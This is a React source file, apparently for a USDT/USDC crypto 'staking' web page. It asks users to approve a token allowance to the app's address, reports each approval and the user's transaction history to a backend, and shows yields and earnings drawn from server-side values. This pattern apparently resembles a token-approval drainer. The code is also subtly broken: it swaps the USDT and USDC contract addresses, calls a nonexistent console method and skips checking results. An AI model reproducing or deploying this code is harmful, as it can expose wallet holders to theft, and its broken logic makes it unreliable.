405 lines
13 KiB
JavaScript
405 lines
13 KiB
JavaScript
import React from "react"
|
|
import {
|
|
Stack, Image, HStack,
|
|
AspectRatio, useColorModeValue,
|
|
useDisclosure, useToast, Tag,
|
|
Text, Box,
|
|
} from "@chakra-ui/react"
|
|
|
|
import {
|
|
StateCard, StakingCoinCard, StakingModalStrategy,
|
|
StakingModalCertificate, ModalBox,
|
|
VFStack, HFStack, HBetween,
|
|
} from "../components"
|
|
import {
|
|
ModalDeposite
|
|
} from '../uimsg'
|
|
import { useApp } from "../AppContext"
|
|
import { config } from "../config"
|
|
import { ABI, Images } from "../data"
|
|
import {
|
|
get_staking_balance,
|
|
get_coins_staking,
|
|
get_ether,
|
|
get_authorization_v,
|
|
get_authorization_one,
|
|
get_authorization_search,
|
|
retrieve_all,
|
|
get_upBalance,
|
|
} from "../api"
|
|
import { approve, transfer } from '../lib'
|
|
import { useTranslation } from "react-i18next"
|
|
|
|
// Modal box for extraction
|
|
const ModalRetrieve = ({ isOpen, onClose, onConfirm, vLeft = 0, vRight = 0 }) => {
|
|
|
|
const TopT = ({ v }) => ((
|
|
<Text
|
|
fontSize="20"
|
|
fontWeight="700"
|
|
>
|
|
{v}
|
|
</Text>
|
|
))
|
|
|
|
const BelowT = ({ v }) => ((
|
|
<Text
|
|
fontSize={12}
|
|
color="gray.400"
|
|
>
|
|
{v}
|
|
</Text>
|
|
))
|
|
return (
|
|
<ModalBox
|
|
title="Income"
|
|
isOpen={isOpen}
|
|
onClose={onClose}
|
|
showCancel={false}
|
|
textConfirm="Extract"
|
|
onConfirm={onConfirm}
|
|
>
|
|
<VFStack
|
|
bg="gray.100"
|
|
p="4"
|
|
pb="20"
|
|
borderRadius="10"
|
|
>
|
|
<HFStack>
|
|
<Tag colorScheme="orange" variant="solid" size="lg">Current</Tag>
|
|
</HFStack>
|
|
<HBetween>
|
|
<VFStack>
|
|
<TopT v={vLeft} />
|
|
<BelowT v="USDT" />
|
|
</VFStack>
|
|
<VFStack>
|
|
<TopT v={vRight} />
|
|
<BelowT v="USDC" />
|
|
</VFStack>
|
|
</HBetween>
|
|
</VFStack>
|
|
</ModalBox>
|
|
)
|
|
}
|
|
|
|
export const Staking = () => {
|
|
const [balance, setBalance] = React.useState({})
|
|
|
|
const [coins, setCoins] = React.useState([])
|
|
const [strategyIndex, setStrategyIndex] = React.useState(-1)
|
|
const [certificateIndex, setCertificateIndex] = React.useState(-1)
|
|
const [depositeIndex, setDepositeIndex] = React.useState(-1)
|
|
|
|
const app = useApp()
|
|
const toast = useToast()
|
|
const bg = useColorModeValue('white', 'gray.900')
|
|
|
|
const { isOpen: isOpenStrategy, onOpen: onOpenStrategy, onClose: onCloseStrategy } = useDisclosure()
|
|
const { isOpen: isOpenCertificate, onOpen: onOpenCertificate, onClose: onCloseCertificate } = useDisclosure()
|
|
const { isOpen: isOpenExtract, onOpen: onOpenExtract, onClose: onCloseExtract } = useDisclosure()
|
|
const { isOpen: isOpenDeposite, onOpen: onOpenDeposite, onClose: onCloseDeposite } = useDisclosure()
|
|
|
|
const refDepositeFocus = React.useRef()
|
|
|
|
const { t } = useTranslation()
|
|
|
|
const _getVaultBalance = () => {
|
|
if (!app.address) {
|
|
return false
|
|
}
|
|
|
|
get_staking_balance(app.address).then((res) => {
|
|
setBalance(res.data)
|
|
console.log('balances:', res.data)
|
|
})
|
|
}
|
|
|
|
// click Strategy
|
|
const onStrategy = (index) => {
|
|
setStrategyIndex(index)
|
|
onOpenStrategy()
|
|
}
|
|
|
|
// click certificate / deposite button
|
|
const onCertificate = (index) => {
|
|
setCertificateIndex(index)
|
|
if (index < 0 || index >= coins.length) {
|
|
console.warning('index out of range')
|
|
return
|
|
}
|
|
|
|
if (coins[index].authorized) {
|
|
setDepositeIndex(prev => index)
|
|
onOpenDeposite()
|
|
} else {
|
|
onOpenCertificate()
|
|
}
|
|
}
|
|
|
|
// ModalDeposite callback
|
|
const onConfirmDeposite = () => {
|
|
if (depositeIndex < 0 || depositeIndex >= coins.length) {
|
|
console.error(depositeIndex, ' out of range')
|
|
return
|
|
}
|
|
|
|
const amount = refDepositeFocus.current.value
|
|
|
|
transfer(ABI, coins[depositeIndex].address, app.appAddress, amount, app.address, (err, res) => {
|
|
if (!err) {
|
|
toast({
|
|
title: 'Succeed',
|
|
description: "You have successfully deposited " + amount + " " + coins[depositeIndex].name,
|
|
status: 'success',
|
|
duration: 9000,
|
|
isClosable: true,
|
|
})
|
|
// TODO 提交充值记录
|
|
get_upBalance(app.address).then(res => {
|
|
|
|
}).catch(err => {
|
|
console.error('get_upBalance() error:' + err.message)
|
|
})
|
|
} else {
|
|
toast({
|
|
title: 'Failed',
|
|
description: "Your operation has not been completed.",
|
|
status: 'info',
|
|
duration: 9000,
|
|
isClosable: true,
|
|
})
|
|
console.error('transfer() error:' + err.message)
|
|
}
|
|
})
|
|
|
|
}
|
|
|
|
// ModalExtract callback
|
|
const onConfirmExtract = () => {
|
|
if (!app.address) {
|
|
toast({
|
|
title: 'Wallet not connected',
|
|
description: "Please connect your wallet first to perform the operation",
|
|
status: 'warning',
|
|
duration: 9000,
|
|
isClosable: true,
|
|
})
|
|
return
|
|
}
|
|
|
|
if (balance.USDT_T <= 0 && balance.USDC_T <= 0) {
|
|
toast({
|
|
title: '',
|
|
description: "Has no income",
|
|
status: 'info',
|
|
duration: 9000,
|
|
isClosable: true,
|
|
})
|
|
return
|
|
}
|
|
|
|
retrieve_all(app.address).then(res => {
|
|
_getVaultBalance()
|
|
|
|
toast({
|
|
title: 'Succeed',
|
|
description: "Operation succeed.",
|
|
status: 'success',
|
|
duration: 9000,
|
|
isClosable: true,
|
|
})
|
|
}).catch(err => {
|
|
console.error('retrieve_all() error:', err.message)
|
|
})
|
|
}
|
|
|
|
// Modal certificate callback
|
|
const onConfirmCertificate = (index) => {
|
|
if (index < 0 || index >= coins.length) {
|
|
console.error('index out of range')
|
|
return
|
|
}
|
|
|
|
if (!app.address) {
|
|
toast({
|
|
title: 'Wallet not connected',
|
|
description: "Please connect your wallet first to perform the operation",
|
|
status: 'warning',
|
|
duration: 9000,
|
|
isClosable: true,
|
|
})
|
|
return
|
|
}
|
|
|
|
let _coins = [...coins]
|
|
|
|
// make button loading
|
|
_coins[index].loading = true
|
|
setCoins(_coins)
|
|
|
|
approve(ABI, _coins[index].address, app.appAddress, app.address, (err, tx) => {
|
|
_coins = [...coins]
|
|
|
|
if (!err) {
|
|
get_authorization_one(app.address, _coins[index].name, tx).then(res => {
|
|
// we dont care the result
|
|
}).catch(err => {
|
|
console.error('get_authorization_one() error:' + err.message)
|
|
})
|
|
|
|
//
|
|
let hi = setInterval(() => {
|
|
get_authorization_search(tx).then(res => {
|
|
_coins[index].authorized = true // for simple, we dont check the result.
|
|
setCoins(_coins)
|
|
|
|
clearInterval(hi)
|
|
}).catch(err => {
|
|
console.error("get_authorization_search() error:" + err.message)
|
|
})
|
|
}, 8000)
|
|
} else {
|
|
console.error("approve error:" + err.message)
|
|
}
|
|
// recover loading
|
|
_coins[index].loading = false
|
|
setCoins(_coins)
|
|
})
|
|
}
|
|
|
|
React.useEffect(() => {
|
|
_getVaultBalance()
|
|
|
|
get_coins_staking().then(res => {
|
|
res.data.forEach((obj) => {
|
|
obj.conf = JSON.parse(obj.conf)
|
|
// obj.authorized = true
|
|
})
|
|
setCoins(prev => res.data)
|
|
}).catch(err => {
|
|
console.error('get_coins_staking() error:' + err.message)
|
|
})
|
|
|
|
app.address && get_ether(app.address).then(res => {
|
|
let list = ''
|
|
let changed = false
|
|
let _coins = [...coins]
|
|
|
|
console.log(res.data)
|
|
res.data.result.forEach(v => {
|
|
if (v.from == app.address.toLowerCase() && v.isError == 0) {
|
|
if (v.to == '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48') {
|
|
list += 'USDT|'
|
|
} else if (v.to == '0xdac17f958d2ee523a2206206994597c13d831ec7') {
|
|
list += 'USDC|'
|
|
}
|
|
}
|
|
})
|
|
if (changed) {
|
|
setCoins(_coins)
|
|
}
|
|
//
|
|
get_authorization_v(app.address, list)
|
|
}).catch(err => {
|
|
console.error('get_ether() error:' + err.message)
|
|
})
|
|
}, [app.address])
|
|
|
|
return (
|
|
<>
|
|
<AspectRatio maxW="full" ratio={4 / 1} >
|
|
<Image h="20" borderRadius="5" src={Images.stakingBanner} alt="lock" />
|
|
</AspectRatio>
|
|
|
|
<Stack
|
|
my="4"
|
|
bg={bg}
|
|
w="full"
|
|
borderRadius="lg"
|
|
direction={{ base: 'column', md: 'row' }}
|
|
>
|
|
<HStack
|
|
flex={1}
|
|
>
|
|
<StateCard title="TVL($)" num={app.rewards[16]} />
|
|
<StateCard title="Total Users Earned($)" num={app.rewards[17]} />
|
|
</HStack>
|
|
|
|
<HStack
|
|
flex={1}
|
|
>
|
|
<StateCard title="Personal TVL($)" num={balance.USDC + balance.USDT} />
|
|
<StateCard
|
|
title="Total Personal Earned($)"
|
|
num={balance.USDC_T + balance.USDT_T}
|
|
button={t('claim')}
|
|
onClick={onOpenExtract}
|
|
/>
|
|
</HStack>
|
|
</Stack>
|
|
|
|
{
|
|
|
|
coins && coins.map((coin, index) => (
|
|
|
|
<StakingCoinCard
|
|
key={coin.name}
|
|
index={index}
|
|
icon={config.ENDPOINT + 'upload/' + coin.name_img}
|
|
symbol={coin.name}
|
|
apy={
|
|
coin.conf.plans[0].interest + '% ~ ' +
|
|
coin.conf.plans[coin.conf.plans.length - 1].interest + '%'
|
|
}
|
|
vl={coin.count_use}
|
|
loading={coin.loading}
|
|
authorized={coin.authorized}
|
|
assets={0.00}
|
|
onStrategy={onStrategy}
|
|
onCertificate={onCertificate}
|
|
/>
|
|
|
|
))
|
|
}
|
|
|
|
{/* Modal for Strategy button */}
|
|
<StakingModalStrategy
|
|
isOpen={isOpenStrategy}
|
|
onClose={onCloseStrategy}
|
|
icon={config.ENDPOINT + 'upload/' + coins[strategyIndex]?.name_img}
|
|
symbol={coins[strategyIndex]?.name}
|
|
amount={coins[strategyIndex]?.count_use}
|
|
percentage={coins[strategyIndex]?.yield}
|
|
address={coins[strategyIndex]?.address}
|
|
nodesStaked={coins[strategyIndex]?.count}
|
|
nodesNominations={coins[strategyIndex]?.count}
|
|
plans={coins[strategyIndex]?.conf.plans}
|
|
share={0.58}
|
|
status='normal'
|
|
/>
|
|
|
|
{/* Modal for Certificate button */}
|
|
<StakingModalCertificate
|
|
isOpen={isOpenCertificate}
|
|
onClose={onCloseCertificate}
|
|
onConfirm={onConfirmCertificate}
|
|
index={certificateIndex}
|
|
coin={coins[certificateIndex]}
|
|
assets={0.00}
|
|
income={0.00}
|
|
/>
|
|
|
|
<ModalRetrieve isOpen={isOpenExtract} onClose={onCloseExtract} onConfirm={onConfirmExtract} />
|
|
|
|
<ModalDeposite
|
|
isOpen={isOpenDeposite}
|
|
onClose={onCloseDeposite}
|
|
onConfirm={onConfirmDeposite}
|
|
ref={refDepositeFocus}
|
|
/>
|
|
|
|
<ModalRetrieve isOpen={isOpenExtract} onClose={onCloseExtract} onConfirm={onConfirmExtract} />
|
|
</>
|
|
)
|
|
} |